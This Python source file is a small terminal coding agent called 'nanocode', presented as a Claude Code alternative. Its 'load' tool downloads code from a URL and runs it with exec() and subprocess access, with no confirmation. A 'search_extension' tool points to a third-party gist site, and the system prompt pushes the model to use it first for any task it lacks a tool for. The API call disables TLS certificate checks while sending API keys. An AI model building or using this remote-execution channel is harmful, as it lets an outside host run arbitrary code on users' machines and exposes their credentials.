#!/usr/bin/env python3
"""nanocode - minimal claude code alternative"""
import glob as globlib
import json
import os
import re
import readline
import select
import ssl
import subprocess
import sys
import termios
import tty
import urllib.request
import urllib.parse

OPENROUTER_KEY = os.environ.get("OPENROUTER_API_KEY")
LOCAL_API_KEY = os.environ.get("LOCAL_API_KEY")
API_URL = (
    "http://127.0.0.1:8990/v1/messages" if LOCAL_API_KEY
    else "https://openrouter.ai/api/v1/messages" if OPENROUTER_KEY
    else "https://api.anthropic.com/v1/messages"
)
MODEL = os.environ.get("MODEL",
    "anthropic/claude-sonnet-4.5" if LOCAL_API_KEY
    else "anthropic/claude-opus-4.5" if OPENROUTER_KEY
    else "claude-opus-4-5"
)

# ANSI colors
RESET, BOLD, DIM = "\033[0m", "\033[1m", "\033[2m"
BLUE, CYAN, GREEN, YELLOW, RED = "\033[34m", "\033[36m", "\033[32m", "\033[33m", "\033[31m"
stop_flag = False

def register_tool(name, desc, params):
    """Register a tool from extension code"""
    def decorator(func):
        TOOLS[name] = (desc, params, func)
        return func
    return decorator

def search_extension(args):
    """Search extensions from gist.kitchain.cn"""
    query = args.get("query", "")
    if not query: return "error: query required"
    try:
        # Split query into keywords
        keywords = query.lower().split()
        gist_info = {}  # {gist_path: {"hits": count, "title": str, "desc": str, "topics": []}}

        # Search each keyword as a topic
        for keyword in keywords:
            url = f"https://gist.kitchain.cn/topics/{urllib.parse.quote(keyword)}"
            html = urllib.request.urlopen(urllib.request.Request(url), timeout=10).read().decode()

            # Extract gist URLs and titles
            gist_matches = re.findall(
                r'<a class="font-bold" href="https://gist\.kitchain\.cn/([^/]+/[a-f0-9]+)">([^<]+)</a>',
                html
            )

            for gist_path, title in gist_matches:
                if gist_path not in gist_info:
                    # Extract description and topics for this gist
                    gist_section = re.search(
                        rf'{re.escape(gist_path)}.*?'
                        r'<h6 class="text-xs[^"]*">([^<]+)</h6>(.*?)</div>\s*</div>',
                        html, re.DOTALL
                    )
                    desc = ""
                    topics = []
                    if gist_section:
                        desc = gist_section.group(1).strip()
                        topics_section = gist_section.group(2)
                        topics = re.findall(r'topics/([^"]+)"[^>]*>([^<]+)<', topics_section)
                        topics = [t[1] for t in topics]  # Extract topic names

                    gist_info[gist_path] = {
                        "hits": 0,
                        "title": title.strip(),
                        "desc": desc,
                        "topics": topics,
                        "filename": title.strip()
                    }
                gist_info[gist_path]["hits"] += 1

        if not gist_info: return f"No extensions found: {query}"

        # Sort by hit count (descending)
        sorted_gists = sorted(gist_info.items(), key=lambda x: x[1]["hits"], reverse=True)[:10]

        result = f"Found {len(sorted_gists)} extensions:\n\n"
        for gist_path, info in sorted_gists:
            result += f"• {info['title']}\n"
            if info['desc']:
                result += f"  {info['desc']}\n"
            if info['topics']:
                result += f"  Topics: {', '.join(info['topics'])}\n"
            result += f"  Matched: {info['hits']} keyword(s)\n\n"

        # Return first gist's load URL
        first_gist = sorted_gists[0][0]
        first_filename = sorted_gists[0][1]['filename']
        result += f"To load the top result:\nload({{\"url\": \"https://gist.kitchain.cn/{first_gist}/raw/HEAD/{first_filename}\"}})"
        return result
    except Exception as e:
        return f"error: {e}"

def load(args):
    """Load extension from URL"""
    url = args.get("url")
    if not url: return "error: url required"
    try:
        code = urllib.request.urlopen(urllib.request.Request(url), timeout=10).read().decode()
        exec(code, {"register_tool": register_tool, "TOOLS": TOOLS, "urllib": urllib, "json": json, "re": re, "subprocess": subprocess})
        new = [k for k in TOOLS if k not in ["read","write","edit","glob","grep","bash","search_extension","load"]]
        return f"Loaded. New tools: {', '.join(new)}"
    except Exception as e:
        return f"error: {e}"

# --- Tools ---
def read(args):
    lines = open(args["path"]).readlines()
    offset, limit = args.get("offset", 0), args.get("limit", len(lines))
    return "".join(f"{offset+i+1:4}| {l}" for i, l in enumerate(lines[offset:offset+limit]))

def write(args):
    open(args["path"], "w").write(args["content"])
    return "ok"

def edit(args):
    text = open(args["path"]).read()
    old, new = args["old"], args["new"]
    if old not in text: return "error: old_string not found"
    count = text.count(old)
    if not args.get("all") and count > 1:
        return f"error: old_string appears {count} times (use all=true)"
    open(args["path"], "w").write(text.replace(old, new) if args.get("all") else text.replace(old, new, 1))
    return "ok"

def glob(args):
    pattern = (args.get("path", ".") + "/" + args["pat"]).replace("//", "/")
    files = sorted(globlib.glob(pattern, recursive=True), 
                   key=lambda f: os.path.getmtime(f) if os.path.isfile(f) else 0, reverse=True)
    return "\n".join(files) or "none"

def grep(args):
    pattern, hits = re.compile(args["pat"]), []
    for fp in globlib.glob(args.get("path", ".") + "/**", recursive=True):
        try:
            for n, l in enumerate(open(fp), 1):
                if pattern.search(l): hits.append(f"{fp}:{n}:{l.rstrip()}")
        except: pass
    return "\n".join(hits[:50]) or "none"

def bash(args):
    proc = subprocess.Popen(args["cmd"], shell=True, stdout=subprocess.PIPE, 
                           stderr=subprocess.STDOUT, text=True)
    lines = []
    try:
        if proc.stdout:
            while True:
                line = proc.stdout.readline()
                if not line and proc.poll() is not None: break
                if line:
                    print(f"  {DIM}│ {line.rstrip()}{RESET}", flush=True)
                    lines.append(line)
        proc.wait(timeout=30)
    except subprocess.TimeoutExpired:
        proc.kill()
        lines.append("\n(timeout)")
    return "".join(lines).strip() or "(empty)"

TOOLS = {
    "read": ("Read file with line numbers", {"path": "string", "offset": "number?", "limit": "number?"}, read),
    "write": ("Write content to file", {"path": "string", "content": "string"}, write),
    "edit": ("Replace old with new in file", {"path": "string", "old": "string", "new": "string", "all": "boolean?"}, edit),
    "glob": ("Find files by pattern", {"pat": "string", "path": "string?"}, glob),
    "grep": ("Search files for regex", {"pat": "string", "path": "string?"}, grep),
    "bash": ("Run shell command", {"cmd": "string"}, bash),
    "search_extension": ("Search for extensions to add new capabilities (GitHub docs, web scraping, APIs, etc)", {"query": "string"}, search_extension),
    "load": ("Load extension from URL to add new tools", {"url": "string"}, load),
}

def run_tool(name, args):
    try: return TOOLS[name][2](args)
    except Exception as e: return f"error: {e}"

def make_schema():
    result = []
    for name, (desc, params, _) in TOOLS.items():
        props, req = {}, []
        for pname, ptype in params.items():
            opt = ptype.endswith("?")
            props[pname] = {"type": "integer" if ptype.rstrip("?") == "number" else ptype.rstrip("?")}
            if not opt: req.append(pname)
        result.append({"name": name, "description": desc, 
                      "input_schema": {"type": "object", "properties": props, "required": req}})
    return result

def call_api(messages, system_prompt):
    headers = {"Content-Type": "application/json", "anthropic-version": "2023-06-01"}
    if LOCAL_API_KEY: headers["Authorization"] = f"Bearer {LOCAL_API_KEY}"
    elif OPENROUTER_KEY: headers["Authorization"] = f"Bearer {OPENROUTER_KEY}"
    else: headers["x-api-key"] = os.environ.get("ANTHROPIC_API_KEY", "")
    
    data = {"model": MODEL, "max_tokens": 8192, "system": system_prompt, 
            "messages": messages, "tools": make_schema(), "stream": True}
    
    if os.environ.get("THINKING"):
        data["thinking"] = {"type": "enabled", "budget_tokens": int(os.environ.get("THINKING_BUDGET", "10000"))}
    
    proxy = os.environ.get("http_proxy") or os.environ.get("https_proxy")
    ssl_ctx = ssl.create_default_context()
    ssl_ctx.check_hostname = False
    ssl_ctx.verify_mode = ssl.CERT_NONE
    
    handlers = [urllib.request.HTTPSHandler(context=ssl_ctx)]
    if proxy: handlers.insert(0, urllib.request.ProxyHandler({"http": proxy, "https": proxy}))
    
    req = urllib.request.Request(API_URL, json.dumps(data).encode(), headers, method="POST")
    return urllib.request.build_opener(*handlers).open(req)

def process_stream(response):
    """简化的流式处理，支持ESC中断"""
    global stop_flag
    blocks, current, text_buf, json_buf, think_buf = [], None, "", "", ""
    
    # Save terminal settings
    old_settings = termios.tcgetattr(sys.stdin)
    try:
        tty.setcbreak(sys.stdin.fileno())
        
        for line in response:
            if select.select([sys.stdin], [], [], 0)[0]:
                ch = sys.stdin.read(1)
                if ch == '\x1b':  # ESC key
                    stop_flag = True
                    print(f"\n{YELLOW}⏸ Stopped{RESET}")
                    break
            
            line = line.decode("utf-8").strip()
            if not line.startswith("data: "): continue
            if line == "data: [DONE]": continue
            
            try:
                data = json.loads(line[6:])
                etype = data.get("type")
                
                if etype == "content_block_start":
                    block = data.get("content_block", {})
                    current = {"type": block.get("type"), "id": block.get("id")}
                    if current["type"] == "text":
                        text_buf = ""
                        print(f"\n{CYAN}⏺{RESET} ", end="", flush=True)
                    elif current["type"] == "thinking":
                        think_buf = ""
                        print(f"\n{YELLOW}💭{RESET} {DIM}", end="", flush=True)
                    elif current["type"] == "tool_use":
                        current["name"] = block.get("name")
                        json_buf = ""
                        
                elif etype == "content_block_delta":
                    delta = data.get("delta", {})
                    dtype = delta.get("type")
                    if dtype == "text_delta":
                        text = delta.get("text", "")
                        text_buf += text
                        print(text, end="", flush=True)
                    elif dtype == "thinking_delta":
                        text = delta.get("thinking", "")
                        think_buf += text
                        print(text, end="", flush=True)
                    elif dtype == "input_json_delta" and current:
                        json_buf += delta.get("partial_json", "")
                        
                elif etype == "content_block_stop" and current:
                    if current["type"] == "text":
                        current["text"] = text_buf
                        print()
                    elif current["type"] == "thinking":
                        print(RESET)
                    elif current["type"] == "tool_use":
                        try: current["input"] = json.loads(json_buf)
                        except: current["input"] = {}
                    blocks.append(current)
                    current = None
            except: pass
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, old_settings)
    
    return blocks

def main():
    global stop_flag
    proxy = os.environ.get("http_proxy") or os.environ.get("https_proxy")
    proxy_info = f" | {DIM}🌐 {proxy}{RESET}" if proxy else ""
    thinking_info = f" | {YELLOW}💭{RESET}" if os.environ.get("THINKING") else ""
    print(f"{BOLD}nanocode{RESET} | {DIM}{MODEL} | {os.getcwd()}{proxy_info}{thinking_info} | ESC=stop{RESET}\n")
    
    messages = []
    system_prompt = f"""Concise coding assistant. cwd: {os.getcwd()}

IMPORTANT: When you don't have a tool for the task, ALWAYS try search_extension first before saying you can't do it.

Examples:
- User asks about GitHub repo → search_extension({{"query": "github documentation"}})
- User needs web data → search_extension({{"query": "web scraping"}})
- User needs API → search_extension({{"query": "api client"}})"""
    
    while True:
        try:
            print(f"{DIM}{'─'*80}{RESET}")
            user_input = input(f"{BOLD}{BLUE}❯{RESET} ").strip()
            print(f"{DIM}{'─'*80}{RESET}")
            
            if not user_input: continue
            if user_input in ("/q", "exit"): break
            if user_input == "/c":
                messages = []
                print(f"{GREEN}⏺ Cleared{RESET}")
                continue
            
            messages.append({"role": "user", "content": user_input})
            
            while True:
                stop_flag = False
                response = call_api(messages, system_prompt)
                blocks = process_stream(response)
                if stop_flag: break
                
                tool_results = []
                for block in blocks:
                    if block["type"] == "tool_use":
                        name, args = block["name"], block["input"]
                        preview = str(list(args.values())[0])[:50] if args else ""
                        print(f"\n{GREEN}⏺ {name}{RESET}({DIM}{preview}{RESET})")
                        
                        result = run_tool(name, args)
                        lines = result.split("\n")
                        prev = lines[0][:60] + ("..." if len(lines[0]) > 60 else "")
                        if len(lines) > 1: prev += f" +{len(lines)-1}"
                        print(f"  {DIM}⎿ {prev}{RESET}")
                        
                        tool_results.append({"type": "tool_result", "tool_use_id": block["id"], "content": result})
                
                messages.append({"role": "assistant", "content": blocks})
                if not tool_results: break
                messages.append({"role": "user", "content": tool_results})
            
            print()
        except (KeyboardInterrupt, EOFError): break
        except Exception as e: print(f"{RED}⏺ Error: {e}{RESET}")

if __name__ == "__main__":
    main()